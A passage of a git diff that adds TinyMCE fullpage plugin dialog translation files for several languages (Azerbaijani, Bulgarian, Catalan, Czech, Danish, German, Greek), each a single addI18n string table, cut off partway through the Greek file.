elements",info:"Information","add_title":"Title element","add_meta":"Meta element","add_script":"Script element","add_style":"Style element","add_link":"Link element","add_base":"Base element","add_comment":"Comment node","title_element":"Title element","script_element":"Script element","style_element":"Style element","base_element":"Base element","link_element":"Link element","meta_element":"Meta element","comment_element":"Comment",src:"Src",language:"Language",href:"Href",target:"Target",type:"Type",charset:"Charset",defer:"Defer",media:"Media",properties:"Properties",name:"Name",value:"Value",content:"Content",rel:"Rel",rev:"Rev",hreflang:"Href lang","general_props":"\u0639\u0627\u0645","advanced_props":"Advanced"}); \ No newline at end of file diff --git a/js/tiny_mce2/plugins/fullpage/langs/az_dlg.js b/js/tiny_mce2/plugins/fullpage/langs/az_dlg.js new file mode 100755 index 0000000..2d09ff3 --- /dev/null +++ b/js/tiny_mce2/plugins/fullpage/langs/az_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('az.fullpage_dlg',{title:"S\u0259n\u0259d x\u00fcsusiyy\u0259tl\u0259ri","meta_tab":"\u00dcmumi","appearance_tab":"G\u00f6r\u00fcn\u00fc\u015f","advanced_tab":"\u018flav\u0259l\u0259r","meta_props":"Meta m\u0259lumat",langprops:"Dil v\u0259 kodla\u015fd\u0131rma","meta_title":"Ba\u015fl\u0131q","meta_keywords":"A\u00e7ar s\u00f6zl\u0259ri","meta_description":"T\u0259svir","meta_robots":"Robotlar",doctypes:"S\u0259n\u0259d n\u00f6v\u00fc",langcode:"Dil kodu",langdir:"Dil istiqam\u0259ti",ltr:"Soldan sa\u011fa",rtl:"Sa\u011fdan sola","xml_pi":"XML t\u0259rifi",encoding:"\u0130\u015far\u0259 kodla\u015fd\u0131rmas\u0131","appearance_bgprops":"Arxa plan x\u00fcsusiyy\u0259tl\u0259ri","appearance_marginprops":"G\u00f6vd\u0259 k\u0259narlar\u0131","appearance_linkprops":"Ke\u00e7id r\u0259ngl\u0259ri","appearance_textprops":"M\u0259tn x\u00fcsusiyy\u0259tl\u0259ri",bgcolor:"Arxa plan r\u0259ngi",bgimage:"Arxa plan \u015f\u0259kli","left_margin":"Sol bo\u015fluq","right_margin":"Sa\u011f bo\u015fluq","top_margin":"\u00dcst bo\u015fluq","bottom_margin":"Alt bo\u015fluq","text_color":"M\u0259tn r\u0259ngi","font_size":"\u015erift \u00f6l\u00e7\u00fcs\u00fc","font_face":"\u015erift n\u00f6v\u00fc","link_color":"Ke\u00e7id r\u0259ngi","hover_color":"\u00dcz\u0259rind\u0259ki r\u0259ng","visited_color":"Bax\u0131lm\u0131\u015f r\u0259ng","active_color":"Aktiv r\u0259ng",textcolor:"R\u0259ng",fontsize:"\u015erift \u00f6l\u00e7\u00fcs\u00fc",fontface:"\u015erift ail\u0259si","meta_index_follow":"\u0130ndeks et v\u0259 ke\u00e7idi izl\u0259","meta_index_nofollow":"\u0130ndeks et lakin ke\u00e7idi izl\u0259m\u0259","meta_noindex_follow":"\u0130ndeks etm\u0259 lakin ke\u00e7idi izl\u0259","meta_noindex_nofollow":"\u0130ndeks etm\u0259 v\u0259 ke\u00e7idl\u0259ri izl\u0259m\u0259","appearance_style":"Stil v\u0259r\u0259qi v\u0259 x\u00fcsusiyy\u0259tl\u0259ri",stylesheet:"Stil v\u0259r\u0259qi",style:"Stil",author:"M\u00fc\u0259llif",copyright:"M\u00fc\u0259llif h\u00fcququ",add:"Yeni element \u0259lav\u0259 et",remove:"Se\u00e7ilmi\u015f elementi sil",moveup:"Se\u00e7il\u0259n elementi yuxar\u0131 \u00e7\u0259k",movedown:"Se\u00e7il\u0259n elementi a\u015fa\u011f\u0131 \u00e7\u0259k","head_elements":"Ba\u015f elementl\u0259r",info:"M\u0259lumat","add_title":"Ba\u015fl\u0131q elementi","add_meta":"Meta elementi","add_script":"Skript elementi","add_style":"Stil elementi","add_link":"Ke\u00e7id elementi","add_base":"Baza elementi","add_comment":"\u015e\u0259rh d\u00fcy\u00fcn\u00fc","title_element":"Ba\u015fl\u0131q elementi","script_element":"Skript elementi","style_element":"Stil elementi","base_element":"Baza elementi","link_element":"Ke\u00e7id elementi","meta_element":"Meta elementi","comment_element":"\u015e\u0259rh",src:"Src",language:"Dil",href:"Href",target:"H\u0259d\u0259f",type:"N\u00f6v",charset:"\u00c7arset",defer:"T\u0259xir\u0259 sal",media:"Media",properties:"X\u00fcsusiyy\u0259tl\u0259r",name:"Ad\u0131",value:"D\u0259y\u0259r",content:"M\u0259zmun",rel:"Rel",rev:"Rev",hreflang:"Href dili","general_props":"\u00dcmumi","advanced_props":"\u018flav\u0259l\u0259r"}); \ No newline at end of file diff --git a/js/tiny_mce2/plugins/fullpage/langs/bg_dlg.js b/js/tiny_mce2/plugins/fullpage/langs/bg_dlg.js new file mode 100755 index 0000000..2076714 --- /dev/null +++ b/js/tiny_mce2/plugins/fullpage/langs/bg_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('bg.fullpage_dlg',{title:"\u041d\u0430\u0441\u0442\u0440\u043e\u0439\u043a\u0438 \u043d\u0430 \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u0430","meta_tab":"\u041e\u0431\u0449\u0438","appearance_tab":"\u0412\u044a\u043d\u0448\u0435\u043d \u0432\u0438\u0434","advanced_tab":"\u0417\u0430 \u043d\u0430\u043f\u0440\u0435\u0434\u043d\u0430\u043b\u0438","meta_props":"Meta \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u044f",langprops:"\u0415\u0437\u0438\u043a \u0438 \u043a\u043e\u0434\u0438\u0440\u0430\u043d\u0435","meta_title":"\u0417\u0430\u0433\u043b\u0430\u0432\u0438\u0435","meta_keywords":"\u041a\u043b\u044e\u0447\u043e\u0432\u0438 \u0434\u0443\u043c\u0438","meta_description":"\u041e\u043f\u0438\u0441\u0430\u043d\u0438\u0435","meta_robots":"\u0420\u043e\u0431\u043e\u0442\u0438",doctypes:"\u0422\u0438\u043f",langcode:"\u041a\u043e\u0434 \u043d\u0430 \u0435\u0437\u0438\u043a\u0430",langdir:"\u041f\u043e\u0441\u043e\u043a\u0430 \u043d\u0430 \u0435\u0437\u0438\u043a\u0430",ltr:"\u041e\u0442\u043b\u044f\u0432\u043e \u043d\u0430 \u0434\u044f\u0441\u043d\u043e",rtl:"\u041e\u0442\u0434\u044f\u0441\u043d\u043e \u043d\u0430 \u043b\u044f\u0432\u043e","xml_pi":"XML \u0434\u0435\u043a\u043b\u0430\u0440\u0430\u0446\u0438\u0438",encoding:"\u041a\u043e\u0434\u0438\u0440\u0430\u043d\u0435 \u043d\u0430 \u0441\u0438\u043c\u0432\u043e\u043b\u0438\u0442\u0435","appearance_bgprops":"\u041d\u0430\u0441\u0442\u0440\u043e\u0439\u043a\u0438 \u043d\u0430 \u0444\u043e\u043d\u0430","appearance_marginprops":"Body margins","appearance_linkprops":"\u0426\u0432\u0435\u0442\u043e\u0432\u0435 \u043d\u0430 \u0445\u0438\u043f\u0435\u0440\u0432\u0440\u044a\u0437\u043a\u0438\u0442\u0435","appearance_textprops":"\u041d\u0430\u0441\u0442\u0440\u043e\u0439\u043a\u0438 \u043d\u0430 \u0442\u0435\u043a\u0441\u0442\u0430",bgcolor:"\u0426\u0432\u044f\u0442 \u043d\u0430 \u0434\u043e\u043d\u0430",bgimage:"\u0424\u043e\u043d\u043e\u0432\u0430 \u043a\u0430\u0440\u0442\u0438\u043d\u043a\u0430","left_margin":"\u041b\u044f\u0432 margin","right_margin":"\u0414\u0435\u0430\u0441\u0435\u043d margin","top_margin":"\u0413\u043e\u0440\u0435\u043d margin","bottom_margin":"\u0414\u043e\u043b\u0435\u043d margin","text_color":"\u0426\u0432\u044f\u0442 \u043d\u0430 \u0442\u0435\u043a\u0441\u0442\u0430","font_size":"\u0420\u0430\u0437\u043c\u0435\u0440 \u043d\u0430 \u0448\u0440\u0438\u0444\u0442\u0430","font_face":"\u0428\u0440\u0438\u0444\u0442","link_color":"\u0426\u0432\u044f\u0442 \u043d\u0430 \u0445\u0438\u043f\u0435\u0440\u0432\u0440\u044a\u0437\u043a\u0430\u0442\u0430","hover_color":"\u0426\u0432\u044f\u0442 \u043f\u0440\u0438 hover","visited_color":"\u0426\u0432\u044f\u0442 \u0437\u0430 \u043f\u043e\u0441\u0435\u0442\u0435\u043d\u0438 \u0445\u0438\u043f\u0435\u0440\u0432\u0440\u044a\u0437\u043a\u0438","active_color":"\u0410\u043a\u0442\u0438\u0432\u0435\u043d \u0446\u0432\u044f\u0442",textcolor:"\u0426\u0432\u044f\u0442",fontsize:"\u0420\u0430\u0437\u043c\u0435\u0440 \u043d\u0430 \u0448\u0440\u0438\u0444\u0442\u0430",fontface:"\u0428\u0440\u0438\u0444\u0442","meta_index_follow":"\u0418\u043d\u0434\u0435\u043a\u0441\u0438\u0440\u0430\u0439 \u0438 \u0441\u043b\u0435\u0434\u0432\u0430\u0439 \u0445\u0438\u043f\u0435\u0440\u0432\u0440\u044a\u0437\u043a\u0438\u0442\u0435","meta_index_nofollow":"\u0418\u043d\u0434\u0435\u043a\u0441\u0438\u0440\u0430\u0439 \u0438 \u043d\u0435 \u0441\u043b\u0435\u0434\u0432\u0430\u0439 \u0445\u0438\u043f\u0435\u0440\u0432\u0440\u044a\u0437\u043a\u0438\u0442\u0435","meta_noindex_follow":"\u041d\u0435 \u0438\u043d\u0434\u0435\u043a\u0441\u0438\u0440\u0430\u0439 \u043d\u043e \u0441\u043b\u0435\u0434\u0432\u0430\u0439 \u0445\u0438\u043f\u0435\u0440\u0432\u0440\u044a\u0437\u043a\u0438\u0442\u0435","meta_noindex_nofollow":"\u041d\u0435 \u0438\u043d\u0434\u0435\u043a\u0441\u0438\u0440\u0430\u0439 \u0438 \u043d\u0435 \u0441\u043b\u0435\u0434\u0432\u0430\u0439 \u0445\u0438\u043f\u0435\u0440\u0432\u0440\u044a\u0437\u043a\u0438\u0442\u0435","appearance_style":"\u041d\u0430\u0441\u0442\u0440\u043e\u0439\u043a\u0438 \u043d\u0430 Stylesheet \u0438 \u0441\u0442\u0438\u043b\u0430",stylesheet:"Stylesheet",style:"\u0421\u0442\u0438\u043b",author:"\u0410\u0432\u0442\u043e\u0440",copyright:"Copyright",add:"\u0414\u043e\u0431\u0430\u0432\u0438 \u043d\u043e\u0432 \u0435\u043b\u0435\u043c\u0435\u043d\u0442",remove:"\u041f\u0440\u0435\u043c\u0430\u0445\u043d\u0438 \u0438\u0437\u0431\u0440\u0430\u043d\u0438\u044f\u0442 \u0435\u043b\u0435\u043c\u0435\u043d\u0442",moveup:"\u041f\u0440\u0438\u0434\u0432\u0438\u0436\u0438 \u0438\u0437\u0431\u0440\u0430\u043d\u0438\u044f\u0442 \u0435\u043b\u0435\u043c\u0435\u043d\u0442 \u043d\u0430\u0433\u043e\u0440\u0435",movedown:"\u041f\u0440\u0438\u0434\u0432\u0438\u0436\u0438 \u0438\u0437\u0431\u0440\u0430\u043d\u0438\u044f\u0442 \u0435\u043b\u0435\u043c\u0435\u043d\u0442 \u043d\u0430\u0434\u043e\u043b\u0443","head_elements":"Head elements",info:"Information","add_title":"Title element","add_meta":"Meta element","add_script":"Script element","add_style":"Style element","add_link":"Link element","add_base":"Base element","add_comment":"Comment node","title_element":"Title element","script_element":"Script element","style_element":"Style element","base_element":"Base element","link_element":"Link element","meta_element":"Meta element","comment_element":"Comment",src:"Src",language:"Language",href:"Href",target:"Target",type:"Type",charset:"Charset",defer:"Defer",media:"Media",properties:"Properties",name:"Name",value:"Value",content:"Content",rel:"Rel",rev:"Rev",hreflang:"Href lang","general_props":"\u041e\u0431\u0449\u0438","advanced_props":"\u0417\u0430 \u043d\u0430\u043f\u0440\u0435\u0434\u043d\u0430\u043b\u0438"}); \ No newline at end of file diff --git a/js/tiny_mce2/plugins/fullpage/langs/ca_dlg.js b/js/tiny_mce2/plugins/fullpage/langs/ca_dlg.js new file mode 100755 index 0000000..a8f72d0 --- /dev/null +++ b/js/tiny_mce2/plugins/fullpage/langs/ca_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('ca.fullpage_dlg',{title:"Propietats del document","meta_tab":"General","appearance_tab":"Aparen\u00e7a","advanced_tab":"Avan\u00e7at","meta_props":"Metainformaci\u00f3",langprops:"Idioma i codificaci\u00f3","meta_title":"T\u00edtol","meta_keywords":"Paraules clau","meta_description":"Descripci\u00f3","meta_robots":"Robots",doctypes:"Doctype",langcode:"Codi d\'idioma",langdir:"Direcci\u00f3 de l\'idioma",ltr:"D\'esquerra a dreta",rtl:"De dreta a esquerra","xml_pi":"Declaraci\u00f3 XML",encoding:"Codificaci\u00f3 dels car\u00e0cters","appearance_bgprops":"Propietats del fons","appearance_marginprops":"Marges del cos","appearance_linkprops":"Colors d\'enlla\u00e7","appearance_textprops":"Propietats del text",bgcolor:"Color del fons",bgimage:"Imatge del fons","left_margin":"Marge esquerre","right_margin":"Marge dret","top_margin":"Marge superior","bottom_margin":"Marge inferior","text_color":"Color del text","font_size":"Mida de la font","font_face":"Font","link_color":"Color d\'enlla\u00e7","hover_color":"Color quan es passi per sobre","visited_color":"Color quan ja \u00e9s visitat","active_color":"Color quan \u00e9s actiu",textcolor:"Color",fontsize:"Mida de la font",fontface:"Fam\u00edlia de la font","meta_index_follow":"Indexa i segueix els enlla\u00e7os","meta_index_nofollow":"Indexa i no segueixis els enlla\u00e7os","meta_noindex_follow":"No indexis per\u00f2 segueix els enlla\u00e7os","meta_noindex_nofollow":"No indexis i no segueixis els enlla\u00e7os","appearance_style":"Full d\'estils i propietats dels estils",stylesheet:"Full d\'estils",style:"Estil",author:"Autor",copyright:"Copyright",add:"Afegeix un nou element",remove:"Elimina l\'element seleccionat",moveup:"Mou amunt l\'element seleccionat",movedown:"Mou avall l\'element seleccionat","head_elements":"Elements d\'encap\u00e7alament",info:"Informaci\u00f3","add_title":"Element t\u00edtol","add_meta":"Element meta","add_script":"Element script","add_style":"Element estil","add_link":"Element enlla\u00e7","add_base":"Element base","add_comment":"Node comentari","title_element":"Element t\u00edtol","script_element":"Element script","style_element":"Element estil","base_element":"Element base","link_element":"Element enlla\u00e7","meta_element":"Element meta","comment_element":"Comentari",src:"Src",language:"Idioma",href:"Href",target:"Dest\u00ed",type:"Type",charset:"Charset",defer:"Defer",media:"Media",properties:"Propietats",name:"Nom",value:"Valor",content:"Contingut",rel:"Rel",rev:"Rev",hreflang:"Href lang","general_props":"General","advanced_props":"Avan\u00e7at"}); \ No newline at end of file diff --git a/js/tiny_mce2/plugins/fullpage/langs/cs_dlg.js b/js/tiny_mce2/plugins/fullpage/langs/cs_dlg.js new file mode 100755 index 0000000..7b9d580 --- /dev/null +++ b/js/tiny_mce2/plugins/fullpage/langs/cs_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('cs.fullpage_dlg',{title:"Vlastnosti dokumentu","meta_tab":"Obecn\u00e9","appearance_tab":"Vzhled","advanced_tab":"Roz\u0161\u00ed\u0159en\u00e9","meta_props":"Meta informace",langprops:"Jazyk a k\u00f3dov\u00e1n\u00ed","meta_title":"Titulek","meta_keywords":"Kl\u00ed\u010dov\u00e1 slova","meta_description":"Popis","meta_robots":"Roboti",doctypes:"Typ dokumentu",langcode:"K\u00f3d jazyka",langdir:"Sm\u011br textu",ltr:"Zleva doprava",rtl:"Zprava doleva","xml_pi":"XML deklarace",encoding:"K\u00f3dov\u00e1n\u00ed","appearance_bgprops":"Vlastnosti pozad\u00ed","appearance_marginprops":"Okraje t\u011bla dokumentu","appearance_linkprops":"Vlastnosti odkaz\u016f","appearance_textprops":"Vlastnosti textu",bgcolor:"Barva pozad\u00ed",bgimage:"Obr\u00e1zek pozad\u00ed","left_margin":"Lev\u00fd okraj","right_margin":"Prav\u00fd okraj","top_margin":"Horn\u00ed okraj","bottom_margin":"Spodn\u00ed okraj","text_color":"Barva textu","font_size":"Velikost p\u00edsma","font_face":"Typ p\u00edsma","link_color":"Barva odkazu","hover_color":"Barva zvolen\u00e9ho odkazu","visited_color":"Barva nav\u0161t\u00edven\u00e9ho odkazu","active_color":"Barva aktivn\u00edho odkazu",textcolor:"Barva",fontsize:"Velikost p\u00edsma",fontface:"Typ p\u00edsma","meta_index_follow":"Indexovat a sledovat odkazy","meta_index_nofollow":"Indexovat a nesledovat odkazy","meta_noindex_follow":"Neindexovat, ale sledovat odkazy","meta_noindex_nofollow":"Neindexovat a nesledovat odkazy","appearance_style":"Vlastnosti styl\u016f",stylesheet:"Stylopis",style:"Styl",author:"Autor",copyright:"Autorsk\u00e1 pr\u00e1va",add:"P\u0159idat nov\u00fd element",remove:"Odebrat ozna\u010den\u00fd element",moveup:"P\u0159esu\u0148 ozna\u010den\u00fd element v\u00fd\u0161",movedown:"P\u0159esu\u0148 ozna\u010den\u00fd element n\u00ed\u017e","head_elements":"Hlavi\u010dky",info:"Informace","add_title":"Vlo\u017eit titulek","add_meta":"Vlo\u017eit meta informace","add_script":"Vlo\u017eit skript","add_style":"Vlo\u017eit styl","add_link":"Vlo\u017eit nezobrazovan\u00fd odkaz","add_base":"Vlo\u017eit z\u00e1kladn\u00ed um\u00edst\u011bn\u00ed","add_comment":"Vlo\u017eit koment\u00e1\u0159","title_element":"Titulek","script_element":"Skript","style_element":"Styl","base_element":"Z\u00e1kladn\u00ed um\u00edst\u011bn\u00ed","link_element":"Nezobrazovan\u00fd odkaz","meta_element":"Meta informace","comment_element":"Koment\u00e1\u0159",src:"Zdroj",language:"Jazyk",href:"Soubor/URL",target:"C\u00edl",type:"Typ",charset:"Znakov\u00e1 sada",defer:"Odlo\u017eit (defer)",media:"M\u00e9dia",properties:"Vlastnosti",name:"N\u00e1zev",value:"Hodnota",content:"Obsah",rel:"Vztah str\u00e1nky k c\u00edli",rev:"Vztah c\u00edle ke str\u00e1nce",hreflang:"Jazyk odkazu","general_props":"Obecn\u00e9 parametry","advanced_props":"Roz\u0161\u00ed\u0159en\u00e9 parametry"}); \ No newline at end of file diff --git a/js/tiny_mce2/plugins/fullpage/langs/da_dlg.js b/js/tiny_mce2/plugins/fullpage/langs/da_dlg.js new file mode 100755 index 0000000..79fd658 --- /dev/null +++ b/js/tiny_mce2/plugins/fullpage/langs/da_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('da.fullpage_dlg',{title:"Dokumentegenskaber","meta_tab":"Generelt","appearance_tab":"Udseende","advanced_tab":"Advanceret","meta_props":"Meta-information",langprops:"Sprog og kodning","meta_title":"Titel","meta_keywords":"N\u00f8gleord","meta_description":"Beskrivelse","meta_robots":"Robots",doctypes:"Doctype",langcode:"Sprogkode",langdir:"Sprogretning",ltr:"Venstre mod h\u00f8jre",rtl:"H\u00f8jre md venstre","xml_pi":"XML declaration",encoding:"Tegns\u00e6t","appearance_bgprops":"Baggrundsegenskaber","appearance_marginprops":"Body margins","appearance_linkprops":"Link farver","appearance_textprops":"Tekstegenskaber",bgcolor:"Baggrundsfarve",bgimage:"Baggrundsbillede","left_margin":"Venstre margin","right_margin":"H\u00f8jre margin","top_margin":"Topmargin","bottom_margin":"Bundmargin","text_color":"Tekstfarve","font_size":"Skriftst\u00f8rrelse","font_face":"Skrifttype","link_color":"Linkfarve","hover_color":"Farve ved aktivering","visited_color":"Farve efter museklik","active_color":"Farve ved museklik",textcolor:"Farve",fontsize:"Skriftst\u00f8rrelse",fontface:"Skrifttype","meta_index_follow":"Indeks og f\u00f8lg links","meta_index_nofollow":"Indeks og f\u00f8lg ikke links","meta_noindex_follow":"Ingen indeks, men f\u00f8lg links","meta_noindex_nofollow":"Ingen indeks og f\u00f8lg ikke links","appearance_style":"Stylesheet og style-egenskaber",stylesheet:"Stylesheet",style:"Style",author:"Forfatter",copyright:"Copyright",add:"Tilf\u00f8j nyt element",remove:"Slet valgte element",moveup:"Flyt valgte element op",movedown:"Flyt valgte element ned","head_elements":"Hovedelement",info:"Information","add_title":"Titelelement","add_meta":"Meta-element","add_script":"Script-element","add_style":"Style-element","add_link":"Link-element","add_base":"Base-element","add_comment":"Kommentar-node","title_element":"Titelelement","script_element":"Script-element","style_element":"Style-element","base_element":"Base-element","link_element":"Link-element","meta_element":"Meta-element","comment_element":"Kommentar",src:"Src",language:"Sprog",href:"Href",target:"Destination",type:"Type",charset:"Tegns\u00e6t",defer:"Defer",media:"Media",properties:"Egenskaber",name:"Navn",value:"V\u00e6rdi",content:"Indhold",rel:"Rel",rev:"Rev",hreflang:"Href lang","general_props":"Generelt","advanced_props":"Advanceret"}); \ No newline at end of file diff --git a/js/tiny_mce2/plugins/fullpage/langs/de_dlg.js b/js/tiny_mce2/plugins/fullpage/langs/de_dlg.js new file mode 100755 index 0000000..ecdff9e --- /dev/null +++ b/js/tiny_mce2/plugins/fullpage/langs/de_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('de.fullpage_dlg',{title:"Dokument-Eigenschaften","meta_tab":"Allgemein","appearance_tab":"Aussehen","advanced_tab":"Erweitert","meta_props":"Meta-Information",langprops:"Sprache und Codierung","meta_title":"Titel","meta_keywords":"Keywords","meta_description":"Beschreibung","meta_robots":"Robots",doctypes:"DocType",langcode:"Sprachcode",langdir:"Sprachrichtung",ltr:"Links nach Rechts",rtl:"Rechts nach Links","xml_pi":"XML Deklaration",encoding:"Zeichencodierung","appearance_bgprops":"Hintergrund-Eigenschaften","appearance_marginprops":"Abst\u00e4nde des Body","appearance_linkprops":"Linkfarben","appearance_textprops":"Text-Eigenschaften",bgcolor:"Hintergrundfarbe",bgimage:"Hintergrundbild","left_margin":"Linker Abstand","right_margin":"Rechter Abstand","top_margin":"Oberer Abstand","bottom_margin":"Unterer Abstand","text_color":"Textfarbe","font_size":"Schriftgr\u00f6\u00dfe","font_face":"Schriftart","link_color":"Linkfarbe","hover_color":"Hover-Farbe","visited_color":"Visited-Farbe","active_color":"Active-Farbe",textcolor:"Farbe",fontsize:"Schriftgr\u00f6\u00dfe",fontface:"Schriftart","meta_index_follow":"Indizieren und den Links folgen","meta_index_nofollow":"Indizieren, aber den Links nicht folgen","meta_noindex_follow":"Nicht indizieren, aber den Links folgen","meta_noindex_nofollow":"Nicht indizieren und auch nicht den Links folgen","appearance_style":"CSS-Stylesheet und Stileigenschaften",stylesheet:"CSS-Stylesheet",style:"CSS-Stil",author:"Autor",copyright:"Copyright",add:"Neues Element hinzuf\u00fcgen",remove:"Ausgew\u00e4hltes Element entfernen",moveup:"Ausgew\u00e4hltes Element nach oben bewegen",movedown:"Ausgew\u00e4hltes Element nach unten bewegen","head_elements":"\u00dcberschriftenelemente",info:"Information","add_title":"Titel-Element","add_meta":"Meta-Element","add_script":"Script-Element","add_style":"Style-Element","add_link":"Link-Element","add_base":"Base-Element","add_comment":"HTML-Kommentar","title_element":"Titel-Element","script_element":"Script-Element","style_element":"Style-Element","base_element":"Base-Element","link_element":"Link-Element","meta_element":"Meta_Element","comment_element":"Kommentar",src:"Src",language:"Sprache",href:"Href",target:"Ziel",type:"Typ",charset:"Zeichensatz",defer:"Defer",media:"Media",properties:"Eigenschaften",name:"Name",value:"Wert",content:"Inhalt",rel:"Rel",rev:"Rev",hreflang:"Href lang","general_props":"Allgemein","advanced_props":"Erweitert"}); \ No newline at end of file diff --git a/js/tiny_mce2/plugins/fullpage/langs/el_dlg.js b/js/tiny_mce2/plugins/fullpage/langs/el_dlg.js new file mode 100755 index 0000000..457946d --- /dev/null +++ b/js/tiny_mce2/plugins/fullpage/langs/el_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('el.fullpage_dlg',{title:"\u0399\u03b4\u03b9\u03cc\u03c4\u03b7\u03c4\u03b5\u03c2 \u03b5\u03b3\u03b3\u03c1\u03ac\u03c6\u03bf\u03c5","meta_tab":"\u0393\u03b5\u03bd\u03b9\u03ba\u03ac","appearance_tab":"\u0395\u03bc\u03c6\u03ac\u03bd\u03b9\u03c3\u03b7","advanced_tab":"\u0393\u03b9\u03b1 \u03c0\u03c1\u03bf\u03c7\u03c9\u03c1\u03b7\u03bc\u03ad\u03bd\u03bf\u03c5\u03c2","meta_props":"\u039c\u03b5\u03c4\u03b1-\u03c0\u03bb\u03b7\u03c1\u03bf\u03c6\u03bf\u03c1\u03af\u03b5\u03c2",langprops:"\u0393\u03bb\u03ce\u03c3\u03c3\u03b1 \u03ba\u03b1\u03b9 \u03ba\u03c9\u03b4\u03b9\u03ba\u03bf\u03c0\u03bf\u03af\u03b7\u03c3\u03b7","meta_title":"\u03a4\u03af\u03c4\u03bb\u03bf\u03c2","meta_keywords":"\u039b\u03ad\u03be\u03b5\u03b9\u03c2 \u03ba\u03bb\u03b5\u03b9\u03b4\u03b9\u03ac","meta_description":"\u03a0\u03b5\u03c1\u03b9\u03b3\u03c1\u03b1\u03c6\u03ae","meta_robots":"\u03a1\u03bf\u03bc\u03c0\u03cc\u03c4",doctypes:"Doctype",langcode:"\u039a\u03c9\u03b4\u03b9\u03ba\u03cc\u03c2 \u03b3\u03bb\u03ce\u03c3\u03c3\u03b1\u03c2",langdir:"\u039a\u03b1\u03c4\u03b5\u03cd\u03b8\u03c5\u03bd\u03c3\u03b7 \u03b3\u03bb\u03ce\u03c3\u03c3\u03b1\u03c2",ltr:"\u0391\u03c1\u03b9\u03c3\u03c4\u03b5\u03c1\u03ac \u03c0\u03c1\u03bf\u03c2 \u03b4\u03b5\u03be\u03b9\u03ac",rtl:"\u0394\u03b5\u03be\u03b9\u03ac \u03c0\u03c1\u03bf\u03c2 \u03b1\u03c1\u03b9\u03c3\u03c4\u03b5\u03c1\u03ac","xml_pi":"\u0394\u03ae\u03bb\u03c9\u03c3\u03b7 XML",encoding:"\u039a\u03c9\u03b4\u03b9\u03ba\u03bf\u03c0\u03bf\u03af\u03b7\u03c3\u03b7 \u03c7\u03b1\u03c1\u03b1\u03ba\u03c4\u03ae\u03c1\u03c9\u03bd","appearance_bgprops":"\u0399\u03b4\u03b9\u03cc\u03c4\u03b7\u03c4\u03b5\u03c2 \u03c6\u03cc\u03bd\u03c4\u03bf\u03c5","appearance_marginprops":"\u03a0\u03b5\u03c1\u03b9\u03b8\u03ce\u03c1\u03b9\u03b1 \u03c3\u03ce\u03bc\u03b1\u03c4\u03bf\u03c2","appearance_linkprops":"\u03a7\u03c1\u03ce\u03bc\u03b1\u03c4\u03b1 \u03c3\u03c5\u03bd\u03b4\u03ad\u03c3\u03bc\u03c9\u03bd","appearance_textprops":"\u0399\u03b4\u03b9\u03cc\u03c4\u03b7\u03c4\u03b5\u03c2 \u03ba\u03b5\u03b9\u03bc\u03ad\u03bd\u03bf\u03c5",bgcolor:"\u03a7\u03c1\u03ce\u03bc\u03b1 \u03c6\u03cc\u03bd\u03c4\u03bf\u03c5",bgimage:"\u0395\u03b9\u03ba\u03cc\u03bd\u03b1 \u03c6\u03cc\u03bd\u03c4\u03bf\u03c5","left_margin":"\u0391\u03c1\u03b9\u03c3\u03c4\u03b5\u03c1\u03cc \u03c0\u03b5\u03c1\u03b9\u03b8\u03ce\u03c1\u03b9\u03bf","right_margin":"\u0394\u03b5\u03be\u03b9\u03cc \u03c0\u03b5\u03c1\u03b9\u03b8\u03ce\u03c1\u03b9\u03bf","top_margin":"\u03a0\u03ac\u03bd\u03c9 \u03c0\u03b5\u03c1\u03b9\u03b8\u03ce\u03c1\u03b9\u03bf","bottom_margin":"\u039a\u03ac\u03c4\u03c9 \u03c0\u03b5\u03c1\u03b9\u03b8\u03ce\u03c1\u03b9\u03bf","text_color":"\u03a7\u03c1\u03ce\u03bc\u03b1 \u03ba\u03b5\u03b9\u03bc\u03ad\u03bd\u03bf\u03c5","font_size":"\u039c\u03ad\u03b3\u03b5\u03b8\u03bf\u03c2 \u03b3\u03c1\u03b1\u03bc\u03bc\u03ac\u03c4\u03c9\u03bd","font_face":"\u0393\u03c1\u03b1\u03bc\u03bc\u03b1\u03c4\u03bf\u03c3\u03b5\u03b9\u03c1\u03ac","link_color":"\u03a7\u03c1\u03ce\u03bc\u03b1 \u03c3\u03c5\u03bd\u03b4\u03ad\u03c3\u03bc\u03bf\u03c5","hover_color":"\u03a7\u03c1\u03ce\u03bc\u03b1 \u03c3\u03c5\u03bd\u03b4\u03ad\u03c3\u03bc\u03bf\u03c5 (Hover)","visited_color":"\u03a7\u03c1\u03ce\u03bc\u03b1 \u03c3\u03c5\u03bd\u03b4\u03ad\u03c3\u03bc\u03bf\u03c5 (Visited)","active_color":"\u03a7\u03c1\u03ce\u03bc\u03b1 \u03c3\u03c5\u03bd\u03b4\u03ad\u03c3\u03bc\u03bf\u03c5 (Active)",textcolor:"\u03a7\u03c1\u03ce\u03bc\u03b1",fontsize:"\u039c\u03ad\u03b3\u03b5\u03b8\u03bf\u03c2 \u03b3\u03c1\u03b1\u03bc\u03bc\u03ac\u03c4\u03c9\u03bd",fontface:"\u0393\u03c1\u03b1\u03bc\u03bc\u03b1\u03c4\u03bf\u03c3\u03b5\u03b9\u03c1\u03ac","meta_index_follow":"\u039a\u03b1\u03c4\u03b1\u03c7\u03ce\u03c1\u03b7\u03c3\u03b7 \u03ba\u03b1\u03b9 \u03bd\u03b1 \u03b1\u03ba\u03bf\u03bb\u03bf\u03c5\u03b8\u03b7\u03b8\u03bf\u03cd\u03bd \u03bf\u03b9 \u03c3\u03cd\u03bd\u03b4\u03b5\u03c3\u03bc\u03bf\u03b9","meta_index_nofollow":"\u039a\u03b1\u03c4\u03b1\u03c7\u03ce\u03c1\u03b7\u03c3\u03b7 \u03ba\u03b1\u03b9 \u03bd\u03b1 \u03bc\u03b7\u03bd \u03b1\u03ba\u03bf\u03bb\u03bf\u03c5\u03b8\u03b7\u03b8\u03bf\u03cd\u03bd \u03bf\u03b9 \u03c3\u03cd\u03bd\u03b4\u03b5\u03c3\u03bc\u03bf\u03b9","meta_noindex_follow":"\u03a7\u03c9\u03c1\u03af\u03c2 